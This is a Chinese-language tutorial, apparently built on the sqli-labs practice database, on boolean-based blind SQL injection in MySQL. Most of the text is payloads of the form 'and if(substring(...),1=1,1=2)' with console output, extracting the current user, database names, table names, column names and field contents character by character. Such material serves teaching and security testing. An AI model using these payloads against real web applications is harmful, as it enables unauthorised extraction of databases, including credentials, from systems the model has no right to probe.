0x00 记忆方式

if ( exp1,exp2,exp3)
exp1条件成立时,执行exp2,不成立执行exp3
and if(substring(表达式,1,1)=判断条件 ,1=1,1=2);

正确时会和原来的数据一致,错误会不返回数据

0x01 基本数据

  1. mysql> select version();
  2. +-----------+
  3. | version() |
  4. +-----------+
  5. | 5.7.26 |
  6. +-----------+
  7. 1 row in set (0.00 sec)
  8. mysql> select user();
  9. +----------------+
  10. | user() |
  11. +----------------+
  12. | root@localhost |
  13. +----------------+
  14. 1 row in set (0.00 sec)
  15. mysql> select database();
  16. +------------+
  17. | database() |
  18. +------------+
  19. | security |
  20. +------------+
  21. 1 row in set (0.00 sec)
  22. mysql> select * from users where id = 1;
  23. +----+----------+----------+
  24. | id | username | password |
  25. +----+----------+----------+
  26. | 1 | Dumb | Dumb |
  27. +----+----------+----------+
  28. 1 row in set (0.00 sec)

0x02 获取数据长度

  1. mysql> select length(user());
  2. +----------------+
  3. | length(user()) |
  4. +----------------+
  5. | 14 |
  6. +----------------+
  7. 1 row in set (0.00 sec)

数据库语句: select * from users where id = 1 and if(length(user())>=14,1=1,1=2);

  1. # 条件成立时,语句执行成功
  2. mysql> select * from users where id = 1 and if(length(user())>=14,1=1,1=2);
  3. +----+----------+----------+
  4. | id | username | password |
  5. +----+----------+----------+
  6. | 1 | Dumb | Dumb |
  7. +----+----------+----------+
  8. 1 row in set (0.00 sec)
  9. #条件不成立时,查询报错
  10. mysql> select * from users where id = 1 and if(length(user())>=15,1=1,1=2);
  11. Empty set (0.00 sec)

0x03 读取数据库版本/当前连接用户/当前连接的数据库

读取不同的内容
例如:
substring(user(),1,1) = r
substring(user(),2,1) = o

读取 user() 第一个字符的内容-正确时的结果: select * from test where id = 1 and if(substring(user(),1,1)=’r’,1=1,1=2);

  1. mysql> select * from users where id = 1 and if(substring(user(),1,1)='r',1=1,1=2);
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. | 1 | Dumb | Dumb |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)

读取 user() 第一个字符的内容-错误时的结果: select * from users where id = 1 and if(substring(user(),1,1)=’s’,1=1,1=2);

  1. mysql> select * from users where id = 1 and if(substring(user(),1,1)='s',1=1,1=2);
  2. Empty set (0.00 sec)

0x04 猜库名

注意: LIMIT 0 修改会显示其他库名
例如:
LIMIT 0,1 修改为0 就是出1库
LIMIT 1,1 修改为1 就是出2库

读取1库库名第一个字: select * from users where id = 1 and if(substring((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)=’i’,1=1,1=2);

  1. # 条件成立时,第一个数据库的第一个字母判断正确时
  2. mysql> select * from users where id = 1 and if(substring((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='i',1=1,1=2);
  3. +----+----------+----------+
  4. | id | username | password |
  5. +----+----------+----------+
  6. | 1 | Dumb | Dumb |
  7. +----+----------+----------+
  8. 1 row in set (0.00 sec)
  9. # 条件不成立时,第一个数据库的第一个字母判断错误时
  10. mysql> select * from users where id = 1 and if(substring((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)='a',1=1,1=2);
  11. Empty set (0.00 sec)

0x05 猜表名

注意: table_schema=xxx 修改为其他库会查出其他库的数据
例如:
table_schema=database() 会获取当前连接的库数据
table_schema=’test’ 会获取test库数据

注意: LIMIT 0 修改会爆出不同的表名
例如:
LIMIT 0,1 修改为0 就是出1表
LIMIT 1,1 修改为1 就是出2表

数据库语句-读取当前库的第一张表名的第一个字: select * from test where id = 1 and if(substring((SELECT table_name FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1)=’t’,1=1,1=2);

0x06 猜字段

table_schema = “xx” 要看的数据库名
table_name = “xx” 要看的表名

limit 0 表示要爆的位置
例如:
表tdb_admin的字段为 id,usernam,password
limit 0 = id
limit 1 = username
limit 2 = password

猜test库 tdb_admin表的第一个字段名第一个字: select * from test where id = 1 and if(substring((SELECT column_name FROM information_schema.columns where table_schema=’test’ and table_name=’tdb_admin’ limit 0,1),1,1)=’i’,1=1,1=2);

猜test库 tdb_admin表的第一个字段名第二个字: select * from test where id = 1 and if(substring((SELECT column_name FROM information_schema.columns where table_schema=’test’ and table_name=’tdb_admin’ limit 0,1),2,1)=’i’,1=1,1=2);

0x07 猜内容

读取某库某表某字段第一个字: select * from test where id = 1 and if(substring((SELECT 字段名 FROM 库名.表名 limit 0,1),1,1)=’a’,1=1,1=2);

读取某库某表某字段第二个字: select * from test where id = 1 and if(substring((SELECT 字段名 FROM 库名.表名 limit 0,1),2,1)=’x’,1=1,1=2);